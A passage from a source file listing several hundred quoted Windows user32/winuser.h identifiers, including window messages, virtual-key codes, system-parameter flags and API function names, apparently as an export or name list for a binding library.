'ISOLATIONAWARE_NOSTATICIMPORT_MANIFEST_RESOURCE_ID', 'EVENT_SYSTEM_END',\n 'IDC_APPSTARTING', 'EM_SETWORDBREAKPROC', 'SWP_DRAWFRAME', 'AW_BLEND',\n 'INDEXID_CONTAINER', 'MKF_MOUSEKEYSON', 'SM_CYVIRTUALSCREEN', 'VK_NONAME',\n 'WM_DWMSENDICONICLIVEPREVIEWBITMAP', 'WINEVENT_INCONTEXT', 'MAKELRESULT',\n 'STATE_SYSTEM_READONLY', 'COLOR_MENUTEXT', 'WM_CHANGECBCHAIN', 'DC_ICON',\n 'LB_GETSELCOUNT', 'OBJID_VSCROLL', 'GWL_HWNDPARENT', 'WM_NCACTIVATE',\n 'WM_DWMCOLORIZATIONCOLORCHANGED', 'MNS_NOCHECK', 'SW_PARENTOPENING',\n 'EWX_POWEROFF', 'ODS_SELECTED', 'ESB_DISABLE_RIGHT', 'GCL_HMODULE',\n 'EVENT_OBJECT_DESCRIPTIONCHANGE', 'LB_SETTABSTOPS', 'DCX_CLIPCHILDREN',\n 'MB_ICONHAND', 'SC_VSCROLL', 'BS_MULTILINE', 'RegisterDeviceNotification',\n 'BF_MIDDLE', 'DS_MODALFRAME', 'SOUND_SYSTEM_APPSTART', 'CDS_RESET_EX',\n 'SPI_SETDOUBLECLKHEIGHT', 'WM_TABLET_LAST', 'BN_PUSHED', 'SPI_SETICONS',\n 'PM_NOREMOVE', 'ODT_LISTBOX', 'SPI_SETCARETBROWSING', 'HC_ACTION',\n 'RDW_FRAME', 'TOUCH_FEEDBACK_INDIRECT', 'SPIF_SENDWININICHANGE', 'VK_END',\n 'EVENT_SYSTEM_MENUPOPUPSTART', 'DIFFERENCE', 'PDC_REMOVAL', 'PM_NOYIELD',\n 'SPI_GETLISTBOXSMOOTHSCROLLING', 'RDW_ALLCHILDREN', 'EVENT_AIA_END',\n 'SWP_NOOWNERZORDER', 'HSHELL_REDRAW', 'DT_NOCLIP', 'HTERROR', 'WC_DIALOG',\n 'SPI_GETTHREADLOCALINPUTSETTINGS', 'APPCOMMAND_DELETE', 'EnumTaskWindows',\n 'CONSOLE_APPLICATION_16BIT', 'OIC_SHIELD', 'CF_UNICODETEXT', 'HC_NOREM',\n 'DT_END_ELLIPSIS', 'SPI_GETFONTSMOOTHINGCONTRAST', 'SBS_SIZEGRIP',\n 'RI_MOUSE_LEFT_BUTTON_UP', 'LWA_COLORKEY', 'VK_FINAL', 'VK_CAPITAL',\n 'VK_GAMEPAD_RIGHT_THUMBSTICK_DOWN', 'LR_COPYDELETEORG', 'EnumPropsEx',\n 'SM_REMOTECONTROL', 'DLGC_RADIOBUTTON', 'HELP_CONTENTS', 'OBM_REDUCED',\n 'HCF_DEFAULTDESKTOP', 'DFCS_SCROLLCOMBOBOX', 'MDITILE_ZORDER', 'PWR_FAIL',\n 'SPI_GETACTIVEWINDOWTRACKING', 'VK_OEM_COPY', 'DT_EXTERNALLEADING',\n 'EVENT_SYSTEM_SWITCHER_APPGRABBED', 'SPI_GETFONTSMOOTHINGORIENTATION',\n 'MB_ICONMASK', 'EVENT_OBJECT_TEXTEDIT_CONVERSIONTARGETCHANGED', 'SIF_POS',\n 'WM_HOTKEY', 'SPI_SETDESKWALLPAPER', 'PostThreadMessage', 'WM_IME_CHAR',\n 'SOUND_SYSTEM_FAULT', 'ISMEX_SEND', 'EIMES_GETCOMPSTRATONCE', 'GW_CHILD',\n 'BM_SETIMAGE', 'SPI_ICONHORIZONTALSPACING', 'SPI_GETSERIALKEYS', 'FSHIFT',\n 'APPCOMMAND_BROWSER_FAVORITES', 'WM_RBUTTONDOWN', 'SPI_SETMOUSESPEED',\n 'SPI_SETLOGICALDPIOVERRIDE', 'MB_TYPEMASK', 'MOUSEEVENTF_LEFTUP',\n 'TOUCHEVENTF_MOVE', 'WS_MINIMIZEBOX', 'PDC_ORIGIN', 'IDC_PERSON',\n 'HCBT_MINMAX', 'BF_BOTTOMRIGHT', 'HSHELL_SYSMENU', 'WINSTA_ALL_ACCESS',\n 'APPCOMMAND_MEDIA_CHANNEL_DOWN', 'LBS_NOTIFY', 'WM_INITMENU', 'CF_TIFF',\n 'MFS_GRAYED', 'DC_BUTTONS', 'SPI_SETBEEP', 'POINTER_MESSAGE_FLAG_PRIMARY',\n 'SIZEZOOMSHOW', 'UNICODE_NOCHAR', 'COLOR_APPWORKSPACE', 'OpenDesktop',\n 'WM_GESTURENOTIFY', 'MOUSE_MOVE_ABSOLUTE', 'MB_ICONWARNING', 'MF_SYSMENU',\n 'TPM_CENTERALIGN', 'WM_MENURBUTTONUP', 'ESB_DISABLE_LTUP', 'HIDE_WINDOW',\n 'HCBT_KEYSKIPPED', 'MFT_RIGHTJUSTIFY', 'AW_VER_NEGATIVE', 'MF_POPUP',\n 'BS_RIGHTBUTTON', 'WS_TILEDWINDOW', 'SPI_SETMINIMIZEDMETRICS', 'SW_ERASE',\n 'CBN_KILLFOCUS', 'HTBOTTOM', 'GetAltTabInfo', 'CWP_ALL', 'IDI_WINLOGO',\n 'HSHELL_WINDOWCREATED', 'PEN_MASK_TILT_X', 'PEN_MASK_TILT_Y', 'OBM_CLOSE',\n 'POINTER_FLAG_HASTRANSFORM', 'WM_PENWINLAST', 'TOUCH_FLAG_NONE', 'VK_PA1',\n 'MF_SEPARATOR', 'CDS_UPDATEREGISTRY', 'STATE_SYSTEM_ALERT_LOW', 'SetProp',\n 'VK_GAMEPAD_MENU', 'SPI_SETFLATMENU', 'WM_POINTERDEVICEINRANGE', 'OCR_NO',\n 'SM_MIDEASTENABLED', 'BN_HILITE', 'WS_MINIMIZE', 'DlgDirListComboBox',\n 'CS_VREDRAW', 'STN_CLICKED', 'COLOR_SCROLLBAR', 'VK_OEM_FJ_MASSHOU',\n 'POINTER_MESSAGE_FLAG_SECONDBUTTON', 'DWL_DLGPROC', 'GMDI_USEDISABLED',\n 'CTLCOLOR_STATIC', 'SS_ENHMETAFILE', 'GA_ROOTOWNER', 'EVENT_MAX',\n 'CDS_VIDEOPARAMETERS', 'GetRawInputDeviceInfo', 'PENVISUALIZATION_ON',\n 'WM_POINTERROUTEDAWAY', 'KLF_SHIFTLOCK', 'WM_IME_KEYLAST', 'ARW_RIGHT',\n 'OBM_RESTORE', 'HTCAPTION', 'NID_READY', 'WM_XBUTTONDOWN', 'VK_OEM_4',\n 'VK_OEM_5', 'VK_OEM_6', 'VK_OEM_7', 'PMB_ACTIVE', 'VK_OEM_1', 'VK_OEM_2',\n 'VK_OEM_3', 'VK_GAMEPAD_RIGHT_THUMBSTICK_RIGHT', 'VK_OEM_8', 'CharLower',\n 'COLOR_GRAYTEXT', 'STATE_SYSTEM_COLLAPSED', 'LB_GETCURSEL', 'WM_AFXFIRST',\n 'SPI_GETMENUFADE', 'TIMERV_COALESCING_MAX', 'DWLP_MSGRESULT', 'VK_LSHIFT',\n 'WM_MDIICONARRANGE', 'WS_EX_TOPMOST', 'WM_DWMCOMPOSITIONCHANGED',\n 'BN_SETFOCUS', 'POINTER_FLAG_HWHEEL', 'MB_ICONASTERISK', 'PM_QS_PAINT',\n 'SPI_GETTOOLTIPANIMATION', 'SPI_GETKEYBOARDCUES', 'VK_KANJI', 'DWLP_USER',\n 'SPI_GETFOREGROUNDFLASHCOUNT', 'SPI_GETDISABLEOVERLAPPEDCONTENT',\n 'DCX_INTERSECTRGN', 'SPI_GETSPEECHRECOGNITION', 'RT_MANIFEST', 'WM_CHAR',\n 'SM_CYDRAG', 'SPI_SETACTIVEWNDTRKTIMEOUT', 'DCX_CACHE', 'DLGC_HASSETSEL',\n 'WM_DWMNCRENDERINGCHANGED', 'WM_AFXLAST', 'SPI_GETICONMETRICS', 'SC_ZOOM',\n 'FKF_CLICKON', 'GR_USEROBJECTS_PEAK', 'RDW_NOERASE', 'OBM_RESTORED',\n 'POINTER_MESSAGE_FLAG_FIFTHBUTTON', 'LB_GETSEL', 'WM_DISPLAYCHANGE',\n 'SBS_VERT', 'MB_NOFOCUS', 'DT_CENTER', 'VK_SCROLL', 'SC_ICON',\n 'GESTUREVISUALIZATION_RIGHTTAP', 'MF_OWNERDRAW',\n 'MIIM_DATA', 'DI_NOMIRROR', 'HSHELL_GETMINRECT', 'CF_PRIVATEFIRST',\n 'MKF_RIGHTBUTTONDOWN', 'MB_ICONERROR', 'WS_EX_PALETTEWINDOW', 'DrawState',\n 'OBM_OLD_RESTORE', 'ISOLATIONAWARE_MANIFEST_RESOURCE_ID', 'DrawTextEx',\n 'CCHDEVICENAME', 'PEN_MASK_NONE', 'APPCOMMAND_FIND', 'GC_ALLGESTURES',\n 'PENARBITRATIONTYPE_FIS', 'SSTF_DISPLAY', 'CB_GETDROPPEDCONTROLRECT',\n 'POINTER_FLAG_FIFTHBUTTON', 'LB_GETSELITEMS', 'GF_BEGIN', 'WM_NEXTDLGCTL',\n 'CB_SETHORIZONTALEXTENT', 'ENUM_CURRENT_SETTINGS', 'SM_CXICON', 'CF_WAVE',\n 'SHOW_OPENWINDOW', 'SM_CMONITORS', 'SS_BLACKFRAME', 'MB_MISCMASK',\n 'SOUND_SYSTEM_APPEND', 'CBN_SETFOCUS', 'BF_DIAGONAL_ENDBOTTOMLEFT',\n 'APPCOMMAND_MEDIA_PAUSE', 'DFC_MENU', 'WM_IME_STARTCOMPOSITION', 'BS_TOP',\n 'SM_CYMIN', 'SW_MINIMIZE', 'MOUSEEVENTF_MOVE', 'DC_HASDEFID', 'NFR_ANSI',\n 'APPCOMMAND_LAUNCH_MEDIA_SELECT', 'HBMMENU_MBAR_MINIMIZE_D', 'VK_LBUTTON',\n 'LB_SETITEMHEIGHT', 'PRF_OWNED', 'FE_FONTSMOOTHINGSTANDARD', 'CS_HREDRAW',\n 'ES_PASSWORD', 'DI_DEFAULTSIZE', 'SPI_GETACCESSTIMEOUT', 'CTLCOLOR_MAX',\n 'BDR_SUNKENOUTER', 'INPUTLANGCHANGE_BACKWARD', 'CB_GETDROPPEDWIDTH',\n 'UOI_USER_SID', 'PRF_NONCLIENT', 'LR_MONOCHROME', 'WM_NEXTMENU', 'VK_F19',\n 'TPM_LAYOUTRTL', 'OBM_UPARROWI', 'BS_GROUPBOX', 'OIC_ERROR',\n 'SIZEFULLSCREEN', 'VK_OEM_PLUS', 'CharLowerBuff', 'PeekMessage', 'VK_F18',\n 'IDI_ERROR', 'VK_EREOF', 'SS_LEFTNOWORDWRAP', 'SC_RESTORE', 'SS_SIMPLE',\n 'GET_KEYSTATE_LPARAM', 'CBN_EDITUPDATE', 'TKF_CONFIRMHOTKEY', 'CF_LOCALE',\n 'BS_USERBUTTON', 'GESTUREVISUALIZATION_PRESSANDTAP', 'SWP_ASYNCWINDOWPOS',\n 'CreateWindowEx', 'IDC_SIZENWSE', 'SPI_SETHUNGAPPTIMEOUT', 'BM_SETCHECK',\n 'SMTO_ABORTIFHUNG', 'SPI_GETPENSIDEMOVETHRESHOLD', 'GCL_CBWNDEXTRA',\n 'DS_CENTERMOUSE', 'GetMenuItemInfo', 'BF_DIAGONAL_ENDTOPLEFT', 'VK_DOWN',\n 'EWX_FORCE', 'EVENT_OBJECT_DEFACTIONCHANGE', 'WM_UPDATEUISTATE', 'VK_F13',\n 'EVENT_SYSTEM_IME_KEY_NOTIFICATION', 'RIDEV_DEVNOTIFY', 'LB_RESETCONTENT',\n 'GUI_CARETBLINKING', 'LB_SELITEMRANGEEX', 'CB_SHOWDROPDOWN', 'RT_MENU',\n 'SPI_SETPOWEROFFTIMEOUT', 'SS_GRAYRECT', 'EVENT_UIA_PROPID_END', 'VK_F12',\n 'EWX_BOOTOPTIONS', 'IDI_HAND', 'PBT_APMRESUMESUSPEND', 'SC_MAXIMIZE',\n 'SSWF_CUSTOM', 'SW_OTHERUNZOOM', 'CreateDialogIndirectA', 'VK_ICO_HELP',\n 'EVENT_OBJECT_HOSTEDOBJECTSINVALIDATED', 'RES_CURSOR', 'WM_QUEUESYNC',\n 'SPI_SETGRIDGRANULARITY', 'WS_HSCROLL', 'ARW_HIDE', 'EWX_FORCEIFHUNG',\n 'RI_MOUSE_BUTTON_2_DOWN', 'EVENT_OBJECT_LIVEREGIONCHANGED', 'HTTOPLEFT',\n 'RI_MOUSE_RIGHT_BUTTON_UP', 'SPI_SETCARETTIMEOUT', 'CB_RESETCONTENT',\n 'EDD_GET_DEVICE_INTERFACE_NAME', 'WM_SYSKEYUP', 'BS_RADIOBUTTON',\n 'GWLP_HINSTANCE', 'OCR_SIZENWSE', 'IDC_SIZENS', 'EMSIS_COMPOSITIONSTRING',\n 'WM_IME_NOTIFY', 'WM_PENWINFIRST', 'SS_WORDELLIPSIS', 'WM_NCCREATE',\n 'EVENT_OBJECT_CONTENTSCROLLED', 'CB_GETCURSEL', 'BM_GETSTATE', 'HKL_PREV',\n 'APPCOMMAND_MICROPHONE_VOLUME_UP', 'LB_ADDFILE', 'BS_ICON', 'DS_3DLOOK',\n 'CALERT_SYSTEM', 'WM_IME_ENDCOMPOSITION', 'PBT_APMPOWERSTATUSCHANGE',\n 'BS_DEFPUSHBUTTON', 'ARW_STARTMASK', 'SetClassLongPtrA', 'WM_APPCOMMAND',\n 'WM_GETTEXTLENGTH', 'WM_SIZECLIPBOARD', 'LB_GETTEXTLEN', 'CreateWindowW',\n 'WM_VSCROLLCLIPBOARD', 'HTHSCROLL', 'BSF_FORCEIFHUNG', 'WM_SETTEXT',\n 'IDI_ASTERISK', 'FLASHW_TIMER', 'GetWindowModuleFileName', 'CB_GETLOCALE',\n 'DM_REPOSITION', 'WM_WINDOWPOSCHANGED', 'SPI_GETPENVISUALIZATION',\n 'MFT_RIGHTORDER', 'DS_SETFOREGROUND', 'GetClassLong', 'STM_SETICON',\n 'SBM_GETSCROLLBARINFO', 'HWND_BOTTOM', 'WS_EX_CLIENTEDGE', 'VK_LEFT',\n 'HELP_FORCEFILE', 'UOI_NAME', 'SendNotifyMessage', 'ES_LOWERCASE',\n 'CB_OKAY', 'SM_CYSIZE', 'OBM_OLD_RGARROW', 'HELPINFO_WINDOW', 'WM_CLEAR',\n 'TOUCHEVENTF_UP', 'DLGC_WANTTAB', 'SPI_SETMOUSEVANISH', 'GC_ZOOM',\n 'SB_LINEDOWN', 'PENARBITRATIONTYPE_SPT', 'CDS_ENABLE_UNSAFE_MODES',\n 'WM_GETMINMAXINFO', 'RIM_TYPEKEYBOARD', 'LB_SETCURSEL', 'WM_GESTURE',\n 'SetWindowsHookEx', 'SPI_SETSPEECHRECOGNITION', 'CB_GETHORIZONTALEXTENT',\n 'RT_VERSION', 'VK_OEM_PA1', 'VK_OEM_PA3', 'VK_OEM_PA2', 'MFS_DEFAULT',\n 'BST_FOCUS', 'SPI_SETPENDRAGOUTTHRESHOLD', 'HELP_WM_HELP', 'EN_SETFOCUS',\n 'SPI_SETSCREENSAVETIMEOUT', 'MDITILE_VERTICAL', 'IDTRYAGAIN', 'MF_DELETE',\n 'VK_GAMEPAD_LEFT_THUMBSTICK_DOWN', 'SM_CXFRAME', 'SetClassLongPtr',\n 'SPI_GETKEYBOARDSPEED', 'SSF_AVAILABLE', 'TME_NONCLIENT', 'DC_GRADIENT',\n 'OCR_APPSTARTING', 'IDCLOSE', 'EM_LINEINDEX', 'PWR_CRITICALRESUME',\n 'MN_GETHMENU', 'TIMERV_DEFAULT_COALESCING', 'HCF_AVAILABLE', 'VK_F11',\n 'WM_MOUSEACTIVATE', 'SM_CMOUSEBUTTONS', 'SPI_GETANIMATION', 'VK_F10',\n 'LB_ADDSTRING', 'SPI_GETWINARRANGING', 'VK_F17', 'VK_F16', 'VK_F15',\n 'VK_F14', 'SM_CXSIZE', 'TWF_WANTPALM', 'WM_DEVMODECHANGE', 'CTLCOLOR_BTN',\n 'SPI_SETANIMATION', 'SM_CXVIRTUALSCREEN', 'LBS_EXTENDEDSEL', 'STM_MSGMAX',\n 'MNS_NOTIFYBYPOS', 'SOUND_SYSTEM_STARTUP', 'EVENT_SYSTEM_MENUPOPUPEND',\n 'LB_ERRSPACE', 'APPCOMMAND_FORWARD_MAIL', 'SM_STARTER', 'DFCS_MONO',\n 'SSTF_BORDER', 'GW_MAX', 'POINTER_MESSAGE_FLAG_CONFIDENCE', 'BS_TEXT',\n 'SPI_SETMOUSESIDEMOVETHRESHOLD', 'LLKHF_ALTDOWN', 'WM_MENUCHAR', 'LB_DIR',\n 'ASFW_ANY', 'GWL_HINSTANCE', 'MF_HILITE', 'HELPINFO_MENUITEM', 'SC_SIZE',\n 'USER_TIMER_MAXIMUM', 'QS_ALLINPUT', 'HELP_COMMAND', 'QS_TOUCH', 'HTLEFT',\n 'SM_CXHSCROLL', 'EM_GETTHUMB', 'ODS_NOFOCUSRECT', 'VK_VOLUME_MUTE',\n 'FE_FONTSMOOTHINGORIENTATIONBGR', 'LoadBitmap', 'DLGC_STATIC', 'WM_PRINT',\n 'EVENT_SYSTEM_SCROLLINGSTART', 'WM_PALETTEISCHANGING', 'SC_NEXTWINDOW',\n 'TKF_AVAILABLE', 'SW_NORMAL', 'MFS_HILITE', 'MKF_HOTKEYACTIVE', 'VK_ATTN',\n 'SW_SCROLLCHILDREN', 'AW_VER_POSITIVE', 'APPCOMMAND_PRINT', 'VK_ACCEPT',\n 'QS_POSTMESSAGE', 'MNGOF_BOTTOMGAP', 'HSHELL_ENDTASK', 'EWX_RESTARTAPPS',\n 'EVENT_OBJECT_SELECTIONWITHIN', 'DESKTOP_JOURNALRECORD', 'MK_SHIFT',\n 'APPCOMMAND_VOLUME_UP', 'EVENT_SYSTEM_ALERT', 'MIM_MAXHEIGHT', 'VK_EXSEL',\n 'VkKeyScanEx', 'LBS_NOREDRAW', 'SPI_SETMENUUNDERLINES', 'SB_LINELEFT',\n 'APPCOMMAND_BASS_UP', 'APPCOMMAND_TREBLE_DOWN', 'OIC_INFORMATION',\n 'SetDlgItemText', 'CB_FINDSTRINGEXACT', 'CS_PARENTDC', 'VK_CLEAR',\n 'TOUCHPREDICTIONPARAMETERS_DEFAULT_RLS_LAMBDA_LEARNING_RATE', 'ARW_DOWN',\n 'EVENT_SYSTEM_CONTEXTHELPSTART', 'SC_DEFAULT', 'SBS_TOPALIGN', 'FCONTROL',\n 'WB_ISDELIMITER', 'TOUCHINPUTMASKF_TIMEFROMSYSTEM', 'SPI_LANGDRIVER',\n 'DFCS_BUTTONPUSH', 'EM_SETLIMITTEXT', 'WM_ERASEBKGND', 'VK_OEM_FINISH',\n 'EVENT_CONSOLE_LAYOUT', 'WS_EX_COMPOSITED', 'HC_NOREMOVE', 'WDA_MONITOR',\n 'GMMP_USE_HIGH_RESOLUTION_POINTS', 'SPI_SETICONMETRICS', 'WM_NCDESTROY',\n 'EN_ERRSPACE', 'EIMES_COMPLETECOMPSTRKILLFOCUS', 'SKF_LWINLATCHED',\n 'WS_EX_LEFTSCROLLBAR', 'MB_ICONQUESTION', 'VK_LAUNCH_MEDIA_SELECT',\n 'GW_ENABLEDPOPUP', 'SBM_SETRANGEREDRAW', 'CB_FINDSTRING', 'HTGROWBOX',\n 'DEVICE_NOTIFY_ALL_INTERFACE_CLASSES', 'WS_CAPTION', 'LB_SETCOUNT',\n 'SPI_SETTOGGLEKEYS', 'SPI_SETSERIALKEYS', 'SIF_TRACKPOS', 'SS_GRAYFRAME',\n 'IsDialogMessage', 'LLMHF_INJECTED', 'MessageBoxIndirect', 'EM_GETLINE',\n 'SPI_GETDEFAULTINPUTLANG', 'LBS_OWNERDRAWFIXED', 'SOUND_SYSTEM_ERROR',\n 'SPI_SETDISABLEOVERLAPPEDCONTENT', 'CallMsgFilter', 'ULW_COLORKEY',\n 'DFCS_BUTTONRADIOMASK', 'SPI_GETFOCUSBORDERWIDTH', 'CF_SYLK',\n 'COLOR_DESKTOP', 'DCX_VALIDATE', 'SS_ELLIPSISMASK', 'WM_QUERYDRAGICON',\n 'POINTER_MESSAGE_FLAG_FIRSTBUTTON', 'TPM_VCENTERALIGN', 'SIF_PAGE',\n 'SIZE_MAXIMIZED', 'CBN_SELCHANGE', 'ENDSESSION_LOGOFF', 'CSOUND_SYSTEM',\n 'SKF_STICKYKEYSON', 'DISP_CHANGE_FAILED', 'MF_STRING',\n 'BS_AUTO3STATE', 'SPI_SETSCREENSAVEACTIVE', 'SM_CYSIZEFRAME', 'HTREDUCE',\n 'SetWindowLongPtr', 'VK_GAMEPAD_LEFT_THUMBSTICK_BUTTON', 'SSGF_DISPLAY',\n 'SPI_SETMOUSEWHEELROUTING', 'LBS_OWNERDRAWVARIABLE', 'SPI_SETWORKAREA',\n 'DF_ALLOWOTHERACCOUNTHOOK', 'SPI_GETWHEELSCROLLLINES', 'MIIM_CHECKMARKS',\n 'GC_PAN_WITH_INERTIA', 'EnumDisplayDevices', 'APPCOMMAND_REPLY_TO_MAIL',\n 'MOUSEEVENTF_ABSOLUTE', 'VK_MBUTTON', 'VK_MODECHANGE', 'WS_EX_RTLREADING',\n 'LB_CTLCODE', 'HELP_TCARD_OTHER_CALLER', 'TPM_RIGHTBUTTON', 'BDR_INNER',\n 'VK_GAMEPAD_LEFT_THUMBSTICK_LEFT', 'PRF_CHECKVISIBLE', 'DFCS_SCROLLUP',\n 'POINTER_FLAG_WHEEL', 'APPCOMMAND_SEND_MAIL', 'WM_GETHOTKEY', 'EM_UNDO',\n 'DOF_DOCUMENT', 'SetWindowsHook', 'BN_UNHILITE', 'GC_TWOFINGERTAP',\n 'TOUCHPREDICTIONPARAMETERS_DEFAULT_LATENCY', 'WINUSERAPI', 'OBM_DNARROWD',\n 'SOUND_SYSTEM_RESTOREUP', 'OBM_DNARROWI', 'OBM_BTNCORNERS', 'OCR_ICOCUR',\n 'KLF_REPLACELANG', 'NID_EXTERNAL_TOUCH', 'CB_SETITEMHEIGHT', 'CharNext',\n 'HTMAXBUTTON', 'LBS_NOINTEGRALHEIGHT', 'SPI_SETCLEARTYPE', 'COLOR_INFOBK',\n 'SM_CYSMCAPTION', 'WM_NCXBUTTONDBLCLK', 'HC_GETNEXT', 'HELP_SETPOPUP_POS',\n 'SM_SAMEDISPLAYFORMAT', 'GC_PAN_WITH_GUTTER', 'SPI_SETMENUDROPALIGNMENT',\n 'RT_MESSAGETABLE', 'SIZEZOOMHIDE', 'DO_PRINTFILE', 'SPI_SETMOUSE',\n 'PENARBITRATIONTYPE_MAX', 'EM_GETLIMITTEXT', 'DFCS_MENUARROW', 'BF_RECT',\n 'LB_SETSEL', 'DFCS_CAPTIONMIN', 'EVENT_OBJECT_SELECTION', 'KF_MENUMODE',\n 'SPI_SETMOUSECLICKLOCKTIME', 'SPI_GETTOGGLEKEYS', 'SM_CXMAXIMIZED',\n 'GF_END', 'HCBT_CLICKSKIPPED', 'MFS_CHECKED', 'ModifyMenu', 'SSWF_TITLE',\n 'WM_CTLCOLOREDIT', 'SPI_SETDEFAULTINPUTLANG', 'WTS_SESSION_UNLOCK',\n 'PA_NOACTIVATE', 'SS_OWNERDRAW', 'WM_INPUTLANGCHANGE', 'WM_MOUSELAST',\n 'HCF_CONFIRMHOTKEY', 'CBS_OWNERDRAWFIXED', 'ALERT_SYSTEM_WARNING',\n 'MAKELPARAM', 'APPCOMMAND_MEDIA_PLAY', 'WM_POINTERUP', 'BS_PUSHBOX',\n 'DESKTOP_HOOKCONTROL', 'GCL_MENUNAME', 'SM_CYCURSOR', 'IDC_SIZENESW',\n 'CF_GDIOBJFIRST', 'PENVISUALIZATION_DOUBLETAP', 'CF_ENHMETAFILE',\n 'WM_VKEYTOITEM', 'VK_RBUTTON', 'CB_INSERTSTRING', 'WMSZ_RIGHT', 'CS_IME',\n 'STATE_SYSTEM_EXTSELECTABLE', 'SPI_GETMOUSEWHEELROUTING', 'MNC_EXECUTE',\n 'WM_NCMOUSEHOVER', 'SPI_SETACCESSTIMEOUT', 'GCLP_HMODULE', 'LB_ERR',\n 'TOUCH_FEEDBACK_DEFAULT', 'GWLP_USERDATA', 'VK_GAMEPAD_RIGHT_TRIGGER',\n 'DISP_CHANGE_RESTART', 'SM_CXFIXEDFRAME', 'SPIF_UPDATEINIFILE', 'GID_PAN',\n 'SSWF_WINDOW', 'WM_NCLBUTTONDBLCLK', 'SM_CYEDGE', 'SPI_GETICONTITLEWRAP',\n 'WM_PARENTNOTIFY', 'AW_ACTIVATE', 'SPI_SETCONTACTVISUALIZATION', 'WH_CBT',\n 'WM_SPOOLERSTATUS', 'SBS_LEFTALIGN', 'ENDSESSION_CLOSEAPP', 'KLF_RESET',\n 'EWX_LOGOFF', 'RIDEV_NOHOTKEYS', 'MF_REMOVE', 'WM_LBUTTONDBLCLK',\n 'DDL_EXCLUSIVE', 'CBS_SORT', 'LR_DEFAULTCOLOR',\n 'VK_GAMEPAD_RIGHT_THUMBSTICK_LEFT', 'SS_PATHELLIPSIS', 'DT_VCENTER',\n 'VK_NAVIGATION_RIGHT', 'SPI_SETKEYBOARDCUES', 'TPM_NOANIMATION', 'HTSIZE',\n 'COLOR_BTNFACE', 'SPI_SETMOUSEHOVERHEIGHT', 'MFT_STRING', 'KF_REPEAT',\n 'RIDEV_EXINPUTSINK', 'CBS_NOINTEGRALHEIGHT', 'OBM_OLD_UPARROW', 'SW_SHOW',\n 'APPCOMMAND_SAVE', 'PrivateExtractIcons', 'BF_BOTTOM', 'TKF_INDICATOR',\n 'CB_GETEXTENDEDUI', 'EM_GETWORDBREAKPROC', 'TOUCHEVENTF_DOWN', 'IDC_SIZE',\n 'GetClipboardFormatName', 'BF_DIAGONAL_ENDBOTTOMRIGHT', 'VK_LCONTROL',\n 'TOUCH_COORD_TO_PIXEL', 'CONTACTVISUALIZATION_ON', 'WM_NCRBUTTONDBLCLK',\n 'APPCOMMAND_MEDIA_REWIND', 'EDGE_RAISED', 'TME_CANCEL', 'BS_VCENTER',\n 'SPI_SETSCREENSAVERRUNNING', 'SOUND_SYSTEM_MENUCOMMAND', 'LB_GETTEXT',\n 'CURSOR_SUPPRESSED', 'WH_CALLWNDPROCRET', 'NID_MULTI_INPUT', 'RIM_INPUT',\n 'HCF_HOTKEYACTIVE', 'SC_MINIMIZE', 'UIS_INITIALIZE', 'DFCS_MENUCHECK',\n 'SOUND_SYSTEM_MAXIMIZE', 'ODS_FOCUS', 'CBS_SIMPLE', 'APPCOMMAND_REDO',\n 'STATE_SYSTEM_MOVEABLE', 'IMAGE_CURSOR', 'WA_ACTIVE', 'HTBOTTOMRIGHT',\n 'EVENT_OBJECT_HELPCHANGE', 'OBJID_SYSMENU', 'MONITOR_DEFAULTTOPRIMARY',\n 'EVENT_OBJECT_ACCELERATORCHANGE', 'MF_ENABLED', 'WM_CANCELJOURNAL',\n 'DT_INTERNAL', 'SKF_RSHIFTLATCHED', 'MOUSE_VIRTUAL_DESKTOP', 'SWP_NOMOVE',\n 'EVENT_CONSOLE_START_APPLICATION', 'TKF_HOTKEYACTIVE', 'BM_SETSTYLE',\n 'WTS_SESSION_LOGOFF', 'CreateDialog', 'SPI_SETMOUSEHOVERTIME', 'OBM_ZOOM',\n 'WTS_SESSION_LOGON', 'CF_DSPBITMAP', 'WS_EX_DLGMODALFRAME', 'ES_READONLY',\n 'WS_OVERLAPPED', 'WVR_ALIGNBOTTOM', 'DS_SYSMODAL', 'PA_ACTIVATE',\n 'SPI_GETACTIVEWNDTRKZORDER', 'APPCOMMAND_LAUNCH_APP1', 'DT_PATH_ELLIPSIS',\n 'APPCOMMAND_LAUNCH_APP2', 'EVENT_SYSTEM_MENUEND', 'SM_CYFIXEDFRAME',\n 'TOUCH_MASK_CONTACTAREA', 'SBM_ENABLE_ARROWS', 'SM_NETWORK', 'IDANI_OPEN',\n 'DOF_EXECUTABLE', 'SWP_NOREPOSITION', 'STN_DISABLE', 'LoadIcon', 'CB_DIR',\n 'RT_FONTDIR', 'WM_MOVE', 'CURSOR_SHOWING', 'GetWindowLongPtrW', 'SB_LEFT',\n 'SBS_SIZEBOXBOTTOMRIGHTALIGN', 'VK_DECIMAL', 'GetWindowLongPtrA',\n 'MND_CONTINUE', 'ODT_COMBOBOX', 'STATE_SYSTEM_MULTISELECTABLE', 'VK_RWIN',\n 'OBM_LFARROWD', 'VK_LMENU', 'OBM_LFARROWI', 'WDA_NONE', 'MB_ICONSTOP',\n 'METRICS_USEDEFAULT', 'EVENT_SYSTEM_MENUSTART', 'ChangeDisplaySettingsEx',\n 'SPI_GETMOUSEKEYS', 'EnumDisplaySettingsEx', 'WM_HSCROLLCLIPBOARD',\n 'HCF_HIGHCONTRASTON', 'EVENT_SYSTEM_FOREGROUND', 'WM_CHANGEUISTATE',\n 'SPI_SETACTIVEWINDOWTRACKING', 'SPI_GETMOUSEDOCKTHRESHOLD', 'AW_SLIDE',\n 'EVENT_OBJECT_VALUECHANGE', 'WM_SETHOTKEY', 'HELP_CONTEXTPOPUP', 'RAWHID',\n 'MA_NOACTIVATE', 'EN_ALIGN_LTR_EC', 'WM_SETCURSOR', 'SPI_SETSOUNDSENTRY',\n 'GCF_INCLUDE_ANCESTORS', 'DFCS_ADJUSTRECT', 'WM_SETREDRAW', 'DSS_NORMAL',\n 'RIDI_DEVICEINFO', 'DESKTOP_READOBJECTS', 'WM_MDIDESTROY', 'OBM_BTSIZE',\n 'WM_MDICASCADE', 'MNS_AUTODISMISS', 'WM_MDIREFRESHMENU', 'TPM_WORKAREA',\n 'MAXIMUM_RESERVED_MANIFEST_RESOURCE_ID', 'EVENT_CONSOLE_END', 'SS_SUNKEN',\n 'WMSZ_BOTTOMRIGHT', 'MSGFLT_ADD', 'SPI_GETMENUSHOWDELAY', 'MB_DEFBUTTON2',\n 'DFCS_BUTTONRADIOIMAGE', 'MSGFLTINFO_NONE', 'MB_DEFBUTTON3', 'BDR_OUTER',\n 'MB_DEFBUTTON1', 